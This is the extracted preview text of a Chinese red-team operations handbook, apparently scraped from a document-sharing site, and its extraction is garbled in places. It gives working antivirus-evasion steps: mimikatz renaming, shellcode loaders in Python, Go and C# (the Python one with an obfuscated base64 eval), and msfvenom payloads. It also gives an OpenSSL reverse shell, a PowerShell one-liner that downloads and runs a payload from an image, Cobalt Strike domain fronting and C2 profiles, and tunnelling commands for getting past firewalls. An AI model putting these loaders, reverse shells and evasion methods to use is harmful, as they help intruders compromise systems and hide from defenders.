2023HW红队工作指南手册_第1页
2023HW红队工作指南手册_第2页
2023HW红队工作指南手册_第3页
2023HW红队工作指南手册_第4页
2023HW红队工作指南手册_第5页
已阅读5页,还剩119页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

HW红队工作指南手册免杀篇 3免杀WindowsDefender 3白名单绕过Defender查杀 4免杀360安全卫士和360杀毒 4mimikatz免杀过360安全卫士和360安全杀毒 5PrintSpoofer免杀过360杀毒360安全卫士 8MSF用加载器免杀过360安全卫士和360安全杀毒 10Python3Cobaltstrikeshellcode免杀过360卫士和360杀毒 14Golang加载器Cobaltstrikeshellcode免杀国内主流杀软 16GolangCobaltstrikeshellcode免杀国内主流杀软 19c#xor加载器免杀过360安全卫士和360安全杀软 20Cobaltstrike免杀过360和WindowsDefender 24msf加密壳免杀过360安全卫士和360安全杀毒 25Cobaltstrike免杀过360和WindowsDefender 26Invoke-PSImage免杀过360杀毒 28MSF免杀360安全卫士安全杀毒 30流量加密 31使用Openssl反弹加密shell 31MSF流量加密躲避检测 33域前置cobaltstrike逃避IDS审计 35域前置技术原理 35工作原理 36域前置实践 40cobaltstrike域前置配置 42cobaltstrike生成证书修改C2profile流量加密混淆 47生成免费的ssl证书 47创建并修改C2-profile文件 49检测C2profile文件是否可用 52配置teamserver文件运行上线 53生成后们进去测试 53隧道应用 55端口映射 55端口映射与端口转发 55netsh端口映射 55netsh端口转发监听metperter 57cobaltstrike多层内网上线 58cobaltstrike正向连接多层内网 58cobaltstrike反向连接多层内网 62端口映射burpsuite抓内网数据包 65burpsuite设置上游代理访问内网 67MetasploitPortfwd(端口转发/重定向) 70内网穿透Neo-reGeorg的使用 71SSH隧道转发的常见场景 75使用Earthworm(EW)做Socks5代理完成内网穿透 81Tunna搭建HTTP正向代理 83利用ICMP隧道技术进行ICMP封装穿透防火墙 85DNS隧道穿透防火墙 87frp内网穿透 91网络钓鱼篇 97Office钓鱼攻击 97cobaltstrike生成宏 97创建宏98测试宏文件 100利用DOCX文档远程模板注入执行宏 101创建dotm文件 101创建远程模板加载文档 103执行测试 105Excel4.0宏躲避杀软检测 106CHM电子书钓鱼 109lnk快捷方式钓鱼 克隆网站钓鱼 假网站钓鱼 FLASH网页钓鱼 文件钓鱼 利用伪装文件 120CobaltStrike鱼叉钓鱼 1215.关注 1236.培训网站 123道应用篇。免杀篇WindowsDefenderWindowsDefenderwindow10Defender您持续有效地工作。Defender查杀在win2016/2019绕过WindowsDefender的版本里c-exclusionsDefender并不会查杀这些文件名的进程Processexclusions%SystemRoot%\system32\inetsrv\w3wp.exe%SystemRoot%\SysWOW64\inetsrv\w3wp.exe%SystemDrive%\PHP5433\php-cgi.exemkdirSystemDrive%\PHP5433exeDefendermimikatz为例子,mimikatz已经被我做PHP5433php-cgi.exeDefender查杀。360360360360安全中心出品的一款免费的云安全杀毒软件。它创新性地整BitDefender伞)360360360QVM人工智能引擎。mimikatz360360安全杀毒MimikatzWindows认证(LSASS)NTLM哈希值的工具,攻击者可以借此漫游内网。也可以通过明文hash值来提权。因为这款工具特别出名所以被查杀的机率很大,githubbypass反病毒软件。位到字符串上,定位到输入表上。Mimikatz源代码下载/gentilkiwi/mimikatzvs2012依赖文件VisualC++MFCforand64https://aka.ms/vs/16/release/vc_redist.x64.exeDesktopdevelopmentwithc++报错:errorMSB8020,解决方法:项目->属性->常规->平台工作集,将平台改为VS2012(v110)后即可成功运行编译。如果出现以下情况kuhl_m_net.c这个文件的注释去掉即可1>modules\kuhl_m_net.c:errorC2220:警告被视为错误-没有生成“object”文件1>modules\kuhl_m_net.c:warningC4819:该文件包含不能在当前代码页(936)中表示的字符。请将该文件保存为Unicode格式以防止数据丢失编译成功选择releasex64运行的时候360安全卫士会进行拦截免杀步骤替换mimikatz关键字moonteamsmimikatz下的文件全部改为moonteams资源版本信息去掉把项目里所有的文件注释去掉/* BenjaminDELPY`gentilkiwi`benjamin@Licence:/licenses/by/4.0/*/删除提示运行提示更换图标最终效果PrintSpoofer360360Windows10和WindowsService2016/2019提权工具,现在主流的提供工具之一,360安全会自动查杀,其他杀毒软件并不会查杀,往后可能更多的防护软件会对其进行拦截查杀。对其进行源码免杀,首先下载源码/whojeff/PrintSpoofer用vs2019选择releasex64编译PrintSpoofer.cpp里面的输出帮助文档全部清空项目文件搜索PrintSpoofer替换其他这改成moonsecPrintSpoofer.cppPrintSpoofer.h全改为其他名字这里改成moonsec加一个ico图标最终结果MSF360360metasploitMetasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。MetasploitFramework(MSF)2003shellcode编写和漏洞研究提供了一个可靠平台。其中攻击载荷模块(Payload),在红队中是个香饽饽,使用这个模块生成的后门,不仅支持多种平台,而且Metasploit还有编码器模块项目地址/rsmudge/metasploit-loader编辑metasploit-loader/master/src/main.c把以下去掉if(argc!=3){printf("%s[host][port]\n",argv[0]);exit(1);}安装编译器 sudoapt-getinstallmingw-w64编辑i686-w64-mingw32-gccmain.c-omm.exe-lws2_32设置监听器msf>useexploit/multi/handlermsf exploit(handler)>setwindows/meterpreter/reverse_tcp=>windows/meterpreter/reverse_tcpmsf exploit(handler)>set=>31337msf exploit(handler)>setLHOST80LHOST=>41msf exploit(handler)>exploit-j64位免杀编译免杀工具Dev-Cpp5.11TDM-GCC4.9.2Setup下载地址/projects/orwelldevcpp/文件->新建项目->consoleApplication->c项目修改文件把winsock2.h移动到windows.h上不然编译会出错。这四处的数字做一些更改编译设置加上-static-libgcc-lws2_32按F9编译完成设置metasploit的监听器setpayloadwindows/x64/meterpreter/reverse_tcp正常上线可以过掉国内大多数的杀毒软件。Python3Cobaltstrikeshellcode免杀过360Python2.7现在很多杀毒软件都会查杀免杀效果有点差。可以使用python3来做shellcode的免杀处理。Python3下载下载最新的版本当前实验的版本是Python3.8.664位pyinstaller4.0/downloads/pipinstallpyinstallerPython3shellcode加载代码importctypes#shellcode加载defshellCodeLoad(shellcode):ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))ifname =="main":编译pyinstaller-Ftest.py--noconsole有时候杀毒软件会查杀这一段代码ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))可以使用编码进行处理再eval动态执行代码eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))Python3shellcode加载代码importctypesimportbase64#shellcode加载defshellCodeLoad(shellcode):ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))ifname =="main":GolangCobaltstrikeshellcodeGo语言目前是最火的编程语言之一,使用go语言编写的加载器,运行shellcode可以过国内主流杀软,例如360安全卫士、360安全杀毒、火绒、瑞星、金山、电脑管家。免杀效果很好。而且操作免杀的步骤简单。项目地址/jax777/shellcode-launchGo语言编译器下载/dl这里选择Cobaltstrike选择c代码shellcodeshellcode-launchcopywindows下winlaunch.goshellcodepackagemainimport("shellcode-launch/winshellcode")funcmain(){sc:=[]byte("你的shellcode")winshellcode.Run(sc)}32位运行setCGO_ENABLED=0setGOOS=windowssetGOARCH=386gobuild-ldflags="-s-w"winlaunch.go64位运行win_64.batsetCGO_ENABLED=0setGOOS=windowssetGOARCH=amd64gobuild-ldflags="-s-w"winlaunch.go已经可以过360安全杀毒世界杀毒网只有五款杀毒软件报毒V只有两款报毒运行GolangCobaltstrikeshellcode这个也是golangshellcode加载器也可以免杀国内的主流杀软项目地址/vyrus001/shellGomain.go这个部分就是运行计算器的shellcode打开cobaltstrike->payloadGenerator-选择C#替换计算器的shellcode编译gobuildmain.go世界杀毒网只有五款防护软件报毒效果还是是不错的。cxor360360c#文件特别的小,可以很好的投递传输。项目地址/antman1p/ShellCodeRunner用vs2019打开sln项目文件xorkryptorcobaltstrikeraw二进制文件ShellCodeRunner.exepayload.binencrypt.bin就是经过编码后的文件。Rsources和encrypt.bin文件事实上项目是没有这个文件夹和文件所以再当前目录新建文件夹和将生成好的shellcode文件encrypt.bin复制到文件夹里。右键选择编译文件即可。这就是生成好的后门。已经可以完全过掉360运行正常VVTCobaltstrike360WindowsDefenderAdvancedAVEvasion是红队的shellcode免杀加载器能免杀360和微软Defender防护软件生成正常上线可以过windowsdefendermsf360360项目地址/bats3c/darkarmour安装依赖文件sudoaptinstallmingw-w64-toolsmingw-w64-commong++-mingw-w64gcc-mingw-w64upx-uclosslsigncodeMsf生成后门msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=80LPORT=4444-fexe-oexploit.exe执行命令./darkarmour.py-fexploit.exe--encryptxor--jmp-oe.exe--loop5Cobaltstrike360WindowsDefender这次带来的时gogo现在还是有很多杀软还是可以过的。今天用到的攻击下载地址/diljith369/avbypassGo#simple-antivirus-bypass-technique原理利用go里面的cmd执行远程下载powershell后门这个部分修改成你的cs后门编译文件gobuildbypassav.go360会有拦截放行后可上线WindowsDefender无任何提示可以上线Invoke-PSImage360Invoke-PSImagePowerShellPNG传递-Web行它们。它会利用图片中每个像素点最后42个颜色值来存储PayloadPNGPayloadPayloadPNG的。据大小来选择图片(尽可能多的像素点)。例如,Invoke-MimikatzInvoke-PSImage/peewpw/Invoke-PSImagecspowershellshellcodeSet-ExecutionPolicyUnrestricted-ScopeCurrentUserImport-Module.\Invoke-PSimage.ps1转换图片Invoke-PSImage-Script.\payload.ps1-Image.\test.jpg-Out.\test2.png-Web生成执行代码salaNew-Object;Add-Type-AssemblyName"System.Drawing";$g=aSystem.Drawing.Bitmap((aNet.WebClient).OpenRead("/evil.png"));$o=aByte[]3840;(0..1)|%{foreach($xin(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))/evil.png替换生成的图片下载链接在目标上执行salaNew-Object;Add-Type-AssemblyName"System.Drawing";$g=aSystem.Drawing.Bitmap((aNet.WebClient).OpenRead("27:80/test2.jpg"));$o=aByte[]3840;(0..1)|%{foreach($xin(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))最终效果360安全卫士360杀毒软件没任何提示WindowsDefender会查杀MSF360metasploitMetasploit因此安全工作人员常用Metasploit工具来检测系统的安全性。MetasploitFramework(MSF)2003shellcode编写和漏洞研究提供了一个可靠平台。其中攻击载荷模块(Payload),在红队中是个香饽饽,使用这个模块生成的后门,不仅支持多种平台,而且Metasploit还有编编码器模块msf自带的编码器和免杀模板都是很难绕过360全套杀毒软件Cooolis免杀过360全套,这是国人的一个项目,可以过掉360全套。下面我来介绍这个项目,项目的地址/Rvn0xsy/Cooolis-ms/加载器执行流程:Cooolis-ServerCooolis-ServerMetasploitRPC服务端Payloaddockergitclone/Rvn0xsy/Cooolis-ms.gitcdCooolis-ms/Dockerdocker-composeup-d启动MetasploitRPC服务器msfrpcd-Umsf-Pmsf-u/api/1.0/-a配置Metasploit监听器msf5>useexploit/multi/handlermsf5>setpayloadwindows/meterpreter/reverse_tcpmsf5>setLHOST1msf5>setLPORT8876msf5>exploit-j启动Cooolis-ms客户端Cooolis-ms.exe-pwindows/meterpreter/reverse_tcp-oLHOST=1,LPORT=8876,Format=dll-H1-P8899流量加密OpensslshellshellshellIDS止。使用wireshark抓包直接看到输入的命令和返回的信息这些危险命令会被防火墙或者ips检测。所以要对这些信息进行混淆或加密。泛被应用在互联网的网页服务器上。在kali上使用OpenSSL生成自签名证书opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes在kali上监听端口openssls_server-quiet-keykey.pem-certcert.pem-port8080在目标上执行反弹shell命令mkfifo/tmp/s;/bin/sh-i</tmp/s2>&1|openssls_client-quiet-connect29:8080>/tmp/s;rm/tmp/s流量已经经加密MSFmetasploitOpenSSL创建SSL/TLS证书opensslreq-new-newkeyrsa:4096-days365-nodes-x509\-subj"/C=UK/ST=London/L=London/O=Development/CN="\-keyout.key\-out.crt&&\cat.key.crt>.pem&&\rm-f.key.crt生成后门msfvenom-pwindows/meterpreter/reverse_winhttpsLHOST=17LPORT=443PayloadUUIDTracking=trueHandlerSSLCert=.pemStagerVerifySSLCert=truePayloadUUIDName=ParanoidStagedPSH-fpsh-cmd-opentestlab.bat设置监听器配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。HandlerSSLCertStagerVerifySSLCertsetpayloadwindows/meterpreter/reverse_winhttpssetLHOST49setLPORT443setHandlerSSLCert/home/kali/msf/.pemsetStagerVerifySSLCerttrueexploit抓包数据包已经加密从有效负载将在目标主机上执行的那一刻起,一个加密的MeterMeter会话将打开,它将不允许主机入侵防御系统检查数据包并断开连接。域前置cobaltstrikeIDS域前置(DomainFronting)HTTPS通用规避技术,也被称为域前端网MtsploitCobltStike等团队控制服务器流量,Amazon,Google,Akamai等大型厂商会提供一些域前端技术服务。域前置技术原理CDNC2CDNipHost头进行流量转发,利用我们配置域名的高可信度,如我们可以设置DLP,agent等流量监测。原理以下工作原理域前置的的核心是cdncdn是的工作原理是:IP可以被不同的域名进行绑定然而进行网站加速,例如现在有两个网站分别为和都指定同一个IP23这个ip上是cdn的时候怎么保证HTTPhost头加入访问的域名。演示18是一个cdn服务器这个服务器上转发多个域名都是这个cdn服务器上的域名而且这两个域名都绑定了别名进行cdn加速curlhttphost如图在curl里面指定CDN的IP指定host为上面两种放法都可以访问域名里的内容。同一个cdn访问不同的网址在host加上你要访问的域名请求头,cdn就可以知道你与哪个域名进行通信,就会得到指向网页的内容。cdnip18所以我们也可以这样访问如图在wget里把ip替换成域名因为也是指向cdn服务器所以访问的也是正常内容。域前置基础就是基于这个原理,所以我们可以申请一批高信誉的域如接近microsoft类似这类域名,然后在请求头里加上cdncdnIPC2ip也会被自动隐藏。域前置实践环境cobaltstrike4.0外网kali在某云、某鹅、Amazon购买cdn云加速服务。注意在国内使用cdn云加速都需要域名进行备案,如你使用某云的必须去申请或者购买已备案的域名。这里以某云做一个域前置例子首先准备一个已经在某云备案好的域名在cdn服务选择全站加速/overview提交准备好的域名审核通过后某云会提示你进行下一步操作。指定你c2服务器的真实ip设置完成后把的CNAME域名里进行CAME绑定设置完成后过一段时间就会生效。在超级ping测试cdn的ip是否正常大部分已经生效了。接下来就是配置cobaltstrikecobalt域前置配置C2profile/xx0hcd/Malleable-C2-Profiles选择合适的profile文件修改host头为我们的准备好的域名##Amazonbrowsingtrafficprofile##Author:#setsleeptime"5000";setjitter "0";setmaxdns "255";setuseragent"Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko";http-get{seturi"/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";client{header"Accept""*/*";header"Host""www.mazibao.vip";metadata{base64;prepend"session-token=";prepend"skin=noskin;";append"csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";header"Cookie";}}server{header"Server""Server";header"x-amz-id-1""THKUYEZKCKPGY5T42PZT";header "x-amz-id-2""a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";header"X-Frame-Options""SAMEORIGIN";header"Content-Encoding""gzip";output{print;}}}http-post{seturi"/N4215/adj/amzn.us.sr.aps";client{header"Accept""*/*";header"Content-Type""text/xml";header"X-Requested-With""XMLHttpRequest";header"Host""www.mazibao.vip";parameter"sz""160x600";parameter"oe""oe=ISO-8859-1;";id}

parameter"sn";parameter"s""3717";output{base64;print;}}server{header"Server""Server";header"x-amz-id-1""THK9YEZJCKPGY5T42OZT";header "x-amz-id-2""a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";header"X-Frame-Options""SAMEORIGIN";header"x-ua-compatible""IE=edge";output{print;}}}在kali上运行teamserver加上配置文件sudonohub./teamserver16xxxxxa222filenohub加在一个命令的最前面,表示不挂断的运行命令不然shell断了cs也会连接不上。以上运行没有出错的情况下配置监听器选择payloadbeaconhttpshttpshsots是某云cdn的ip生成后门进行测试这个代码生成后,可以放在其他服务上千万不要放在c2上不然真是的ip就被查出来了。运行木马上线正常,功能正常。再用Wireshark进行抓包走cdn节点流量进行也加密了C2服务器的ip也隐藏了。cobaltstrikeC2profilecobaltstrikeAPT方面近几年应用范围很ids入侵新制定。C2profile实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器。本次实验环境kalicobaltstrike4.0ssl证书cobaltstrikecobaltstrike.storecobaltstrike会被检测。下面是生成证书的一些命令。keytool-genkey-aliasmoonsec-keyalgRSA-validity36500-keystoremoonsec.storemoonsecmoonsec.store这两个字符串都要记住因为修改profile要使用填写相关的地区信息这些信息填写后在profile上还要使用请勿乱填,填写了要保存。完成上面得命令后提示你要输入得密码!输入密码moon123后提示地区信息按照提示一步一步填写。US MicrosoftUpdates最输入y即可生成证书文件。证书文件已经生成好。C2-profile文件setsample_name"moonsecPOSMalware";setsleeptime"5000";#usea~30sdelaybetweencallbackssetjitter "10"; #throwina10%jittersetuseragent"Mozilla/5.0(WindowsNT6.1;rv:24.0)Gecko/20100101Firefox/24.0";#设置证书https-certificate{setCN "US";setO "MicrosoftUpdates";setC "en";setL "US";setOU "MicrosoftUpdates";setST setvalidity"365";}#设置code-signer{setkeystore"moonsec.store";setpassword"moon123";setalias"moonsec";}#指定DNSbeacon不用的时候指定到IP地址setdns_idle"";#每个单独DNS请求前强制睡眠时间setdns_sleep"0";#通过DNS上载数据时主机名的最大长度setmaxdns "235";http-post{seturi"/windebug/updcheck.php/aircanada/dark.php/aero2/fly.php/windowsxp/updcheck.php/hello/flash.php";client{header"Accept""text/plain";header"Accept-Language""en-us";header"Accept-Encoding""text/plain";header"Content-Type""application/x-www-form-urlencoded";id}

netbios;parameter"id";output{base64;prepend"&op=1&id=vxeykS&ui=Josh@PC&wv=11&gr=backoff&bv=1.55&data=";print;}}server{output{print;}}}http-get{seturi"/updates";client{metadata{netbiosu;prepend"user=";header}}server{header"Content-Type""text/plain";output{base64;print;}}}注意设置这个两个地方#设置证书https-certificate{setCN "US";setO "MicrosoftUpdates";setC "en";setL "US";setOU "MicrosoftUpdates";setST setvalidity"365";}#设置code-signer{setkeystore"moon.store";setpassword"moon123";setalias"moon";}检测C2profile文件是否可用./c2lintfile运行正常失败得是会出线红色。配置teamserver文件运行上线teamserver默认端口是50050修改端口被检测出来。运行teamservernohup./teamserver35 123456file&放在后台运行避免shell关闭teamserver也关闭生成后们进去测试监听器选择payloadhttps设置端口443访问https的时候证书已经生效而且操作并不会被查杀。上线运行正常wireshark抓取流量分析https流量已经加密。隧道应用端口映射是指将一台主机的内网(LAN)IP地址映射成一个公网IP地址机器的多个端口映射到内网不同机器上的不同端口。端口映射与端口转发射转发只能实现外网到内网的单向通信。netsh端口映射netshwindows工具可以内置中端口转发功能。以下是一个常见的场景b7777WEBkalib服务器的7777端口上的内容因为不在同一个网段kali不能直接访问BB服务器不能直接出网。windowsnetshinterfaceportproxy可以通过这个小A服务器设置端口转发。1设置转发netshinterfaceportproxyaddv4tov4listenport=设置的端口connectaddress=B服务器(ip)connectport=端口netshinterfaceportproxyaddv4tov4listenport=7777connectaddress=55connectport=77772.访问42:7777即可获取B服务器上的端口内容3.其他说明清除规则指定规则netshinterfaceportproxydeletev4tov4listenport=7777查看转发规则netshinterfaceportproxyshowall清除s所有规则规则netshinterfaceportproxyreset4不能访问可以在A服务器有有防火墙对7777端口过滤netsh端口转发监听metperter在服务器A上可以通过设置代理访问B服务器.如果拿到b服务器的权限通常是生成正向的后门,然后kalimsf可以正向连接B服务器,由此得到metperterBmsfAAkalimsf上。msf生成后门msfvenom-pwindows/meterpreter/reverse_tcplhost=53lport=4455-fexeA服务器上增加命令将端口4455转发到kali上的4455端口上netshinterfaceportproxyaddv4tov4listenport=4455connectaddress=35connectport=4455kali上设置监听usewindows/multi/handlersetpayloadwindows/meterpreter/reverse_tcpsetlhost35setlport4445bmetpertercobaltstrikecobaltstrike简称csAPT长期是以攻击企业内网为主,所以考虑到内网穿透。内网穿透方式,分为正向和反向,正向是可以直连内网teamserverBA有权csBcobalt正向连接多层内网首先A服务上已经有了csABteamserverA作为作为跳板可以访问B。1.生成监听器选择windowsexecutable(s)填写名字和要连接的端口生成的后门在B服务器上执行cs42interact进入beacon用命令连接上B服务器connect5512345最后正向连接上B服务器cobalt反向连接多层内网B服务器上有防火墙进行拦截,那么cobaltstrike的反向连接。反向连接可以突破防火墙的拦截,因为是从服务器内部反向连接出站。以下是一个存在防火墙的反向连接teamserver的图AB怎么解决?可以用反向连接突破。listernerhostport保存即可创建后门选择带有s的选项在listener选择刚刚创建的监听器。B服务器执行后门bA4.B服务器得会话端口映射burpsuite抓内网数据包这里存在两个网段AC不能直接互通A如果想直接访问C80端口用burpsuiteBABBC80ABCnetsh是windows自带的工具可以好轻易的设置端口映射netshinterfaceportproxyaddv4tov4listenport=设置的端口connectaddress=C服务器(ip)connectport=端口在B上执行命令设置好规则netshinterfaceportproxyaddv4tov4listenport=7777connectaddress=55connectport=80用浏览访问B服务器的7777端口即可获取C服务器上80端口的内容用burpsuite抓包即可burpsuite设置上游代理访问内网msf入到内网再做横向渗透或其他操作。kaliBmeterpertersocks4代理通过在A服务proxychainsDC80端口。DC的时候实际上是DA1080端口C80burpsuite无法再使用浏览bursuiteburpsuite代Aburpsuitesocks4burpsuitekaliB服务器C80端口整个流程如图kalimsfsock4aproxychains1080那就可proxychainsnmapc80SocksCap设置socks4a代理那么就可以用sockscap代理访问C的80端口SocksCap启用系统代理默认的端口是25378在burpsuite设置上游代理选项卡user_options打开浏览器访问c的80端口开启burpsuite进行拦截,即可获取包MetasploitPortfwd(端口转发/重定向)Meterpretershellportfwd(或系统的受损主机上运行此命TCP连接,从而使其成为一个支点。就像使sshpotdCPmeterpreter>portfwd-hUsage:portfwd[-h][add|delete|list|flush][args]OPTIONS:-Lopt> 要监听的本地主机(可选)。-h 帮助横幅。-lopt> 要监听的本地端口。-popt> 要连接的远程端口-ropt> 要连接的远程主机portfwdadd–l3389–p3389–r42B3389A3389kailA3389B3389rdesktop:3389Neo-reGeorgAB80端口获取一个系统权限,C数据库服务器BBAC的CreGeorgreGeorg/L-codes/Neo-reGeorg使用方法输入密码生成加密脚本python3neoreg.pygenerate-kmoonsecmoonsec是生成的密码生成的脚本是免杀的把生成的脚本上传到b服务器上,b服务器支持aspx在A执行命令python3neoreg.py-kmoonsec-u42/tunnel.aspx设置获取火狐代理1080访问55如有用nmap扫描C的端口还可以设置proxychains修改/etc/proxychains.conf增加socks51080Proxychainsnmap-sT-Pn55-p80SSHSSHSSH客户端与服务端之间的网络数据。但是,SSHTCPSSH链接来转发,并且自动提供TCPSMTP,LDAPTCP应用均能够从中得益,避免了用户名,密码以及隐私SSHTCPSSH进行通讯。SSH端口转发的两大功能加密SSHClient端至SSHServer端之间的通讯数据。突破防火墙的限制,完成一些之前无法建立的TCP连接。SSH本地socks5代理ssh-qTfnN-D7070root@54-C-f参数,把ssh放到后台运行。浏览器设置socks5代理即可访问外网如谷歌SSH本地转发正向连接命令:-Llocalport:remotehost:remotehostportsshserver说明:localport 本机开启的端口号remotehost IP地址remotehostport 转发机器的端口号sshserver IP地址选项:-f后台启用-Nshell,处于等待状态(不加-N则直接登录进去)-g应用场景一某企业要求A访问内部网络的C服务器的80端口A与b能互通,B与C能互通,A与C不能通信。C不能出网。ABC80WEBsshipAbC。方法在A服务器上执行sshL本地端口:IP:moonsec@39ssh-L6666:55:80moonsec@39-fN常见环境应用二把目标的端口转发出来例如mysql服务器只允许本地访问在外部不能访问。这就很好地保护了mysql免受外部攻击。ssh-L3306:localhost:3306moonsec@39-fN转发后Navicat访问本地3306端口提示连接成功ssh远程转发命令:-Rsshserverport:remotehost:remotehostportsshserver说明:sshserverport 被转发机器开启的端口号remotehost IP地址remotehostport 被转发机器的端口号sshserver IP地址好用。以下是一个很经典的案例。A可以与B互通B与C可以互相A与C不能通信。AC80BBC330680端口通过。这就用到SSH隧道远程转发首先修改/etc/ssh/sshd_configGatewayPortsyes如果没有请增加如果请把no修改yes这个配置的作用是远程转发后将改为A通过指定端口就能访问C远程转发命令在C服务器上执行ssh-R本地端口:远程ip:远程端口ssh服务器ssh-R8877:57:80moosec@47或者ssh-R8877:57:80moosec@47-fN前者是可以登录可以操作shell看需求选择合适的A访问B的8877端口即可访问C的80端口Earthworm(EWSocks5EW是一套便携式的网络穿透工具,具有SOCKSv5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。达网络深处。目前该工具永久停止更新。工具支持多个平台工具的穿透模式分为正向代理和反向代理a与b互通b与c互通a与c不互通a获取b的权限后在b设置代理访问C的80端口那么A就能访问C在b里执行ew_for_Win.exe-sssocksd-l8888然后设置/etc/proxychains.conf增加socks5398080ew反向代理反向代理的好处是突破防火墙从内部连接外部在b上执行ew_for_linux64-srcsocks-l1080-e1024在c上执行ew_for_Win.exe-srssocks-d53-e1024在/etc/proxychins.conf增加socks5391080用nmap测试5080端口proxychinsnmap-Pn-sT55-p80TunnaHTTPTunna可以封装和隧道化HTTP上的任何TCP通信。它可以用来绕过防火墙环境中的网络限制。使用pythonproxy.py-u-l[options]选项--help,-h显示帮助消息并退出。--url=URL,-uURL远程webshell--lport=LOCAL_PORT,-lLOCAL_PORT本地监听端口--verbose,-v输出数据包大小--buffer=BUFFERSIZE,-bBUFFERSIZE*HTTP请求大小(一些webshels对大小有限制)没有SOCKS代理的选择,如果使用SOCKS代理,则忽略此选项--no-socks,-n不用SOCKS代理--rport=REMOTE_PORTrREMOTE_PORTwebshell服务的远程端口--addr=REMOTE_IPaREMOTE_IPwebshell()Tunna代理远Tunnaweb服务还算稳定。项目地址/SECFORCE/Tunna场景应用Ab互通bc互通AcA已经拿下B的权限,通过在b设置代理在访问C3389端口。这种代理属于正向代理。使用Tunna工具b的网站上传conn.aspx一定要支持脚本运行。在A执行python2proxy.py-u39/conn.aspx-l4321-a55-r3389–vA开启新的终端输入rdesktop:4321即可访问C3389端口ICMPICMP在一些网络环境中,如果不经过认证,TCPUDP数据包都会被拦截。如果用户ping通远程计算机,就可以尝试建立ICMPTCP数据通过该隧道发送,实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立ICMP隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码。一、icmptunnel可以将IP流量封装进IMCP的ping数据包中,旨在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。二、请求端的Ping工具会在ICMP数据包后面附加上一段随机的数据作为Payload,而响应端则会拷贝这段Payload到ICMP响应数据包中返还给请求端,用于识别和匹配Ping请求。三、在使用ptunnel进行内网穿透时,客户端会将IP帧封装在ICMP请求数据包中发送给服务器,而服务器端则会使用相匹配的ICMP响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的ICMP数据包。应用场景ab能互通bc能互通ac之间有防护墙拦截禁用TCP协议但是Apingc由此判断防火墙没有对icmp协议进行封禁。故可以用imcp隧道技术。b上执行ptunnel-x12341234是密码A上执行ptunnel-p37-lp8080-da44-dp80-x1234-p接目的地址即跳板主机的地址-lp即localport本地端口-da我们要连接的地址-dp他的端口-x是密码Ahttp://localhsot:8080即可访问C80端口封禁tcp协议iptables-AINPUT-ptcp-s43-jDROP启动80端口python-mhttp.server80DNSDNSDNS协议中传输建DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNSDNSDNSTunnelingAPT攻击中扮演着重要的角色。dns2tcpDNSTCPKEYTXT类型的C语言开发。它分为两个部分,服务端和客户端,服务端运行在linuxlinuxwindows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。应用场景cbcDNS53端口进行封锁,允许开53dns隧道。dns2tcpd-F 